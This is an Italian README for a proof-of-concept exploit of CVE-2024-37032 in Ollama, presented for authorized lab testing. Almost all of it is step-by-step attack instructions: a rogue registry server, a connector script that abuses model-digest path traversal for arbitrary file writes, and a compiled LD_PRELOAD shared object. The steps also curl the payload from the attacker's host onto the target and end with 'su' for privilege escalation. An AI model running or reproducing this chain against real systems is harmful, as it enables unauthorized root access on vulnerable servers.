
CVE-2024-37032 (Probllama) PoC per Ollama ≤0.1.33: path traversal e scrittura arbitraria di file tramite la gestione del digest del modello, che porta a escalation di privilegi automatizzata.
Questo repository contiene un server di registry FastAPI proof of concept, uno script di connessione e una libreria demo di preload per test autorizzati in laboratorio.
Usalo solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione al test.
server.py: avvia il server FastAPI PoC.rogue_server/config.py: configurazione centrale per il server PoC.connector.py: invia le richieste pull/push all'API Ollama target.preload_privs_demo.c: codice sorgente C per il payload dell'oggetto condiviso.requirements.txt: dipendenze Python per il server PoC.Sulla tua macchina host, installa le dipendenze Python:
python -m pip install -r requirements.txt
Modifica rogue_server/config.py sulla tua macchina host:
HOST = "<your_host_ip_or_host_ip>"
Modifica connector.py:
SERVER_HOST = "<your_host_ip_or_host_ip:8000>"
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 11434
Note:
SERVER_HOST deve puntare all'host che esegue server.py.8000, includi la porta sia in HOST che in SERVER_HOST, ad esempio 10.10.16.160:8000.TARGET_HOST e TARGET_PORT devono puntare all'API Ollama target. Se connector.py viene eseguito direttamente sulla macchina target, di solito 127.0.0.1:11434 è corretto.rogue_server/config.py, riavvia il server PoC.Compila il file C e assegna all'output il nome libpreload_privs_demo.so:
gcc -shared -fPIC -o libpreload_privs_demo.so preload_privs_demo.c
Copia questi file sulla macchina target autorizzata:
libpreload_privs_demo.soconnector.pyUn modo semplice è servirli dalla tua macchina host:
python3 -m http.server 8081
Poi scaricali dalla macchina target:
curl -O http://<your_host_ip>:8081/libpreload_privs_demo.so
curl -O http://<your_host_ip>:8081/connector.py
Dopo aver scaricato l'oggetto condiviso, copia il suo percorso assoluto sulla macchina target e imposta lo stesso percorso come exploit_path in rogue_server/config.py sulla macchina host.
Esempio:
exploit_path = "/tmp/libpreload_privs_demo.so"
Avvia il server FastAPI sulla tua macchina host:
python server.py
Per impostazione predefinita, questo progetto avvia Uvicorn su 0.0.0.0:8000.
Sulla macchina target autorizzata, esegui:
python3 connector.py
Il connector invia le richieste pull e push all'API Ollama configurata.
Dopo che il connector ha terminato, esegui:
su
In un target di laboratorio vulnerabile e correttamente configurato, il percorso di preload dovrebbe essere utilizzato e si può osservare la transizione dei privilegi.
SERVER_HOST in connector.py corrisponda a HOST in rogue_server/config.py.exploit_path sia il percorso assoluto esatto in cui si trova libpreload_privs_demo.so sulla macchina target.TARGET_HOST:TARGET_PORT.server.py dopo aver modificato rogue_server/config.py.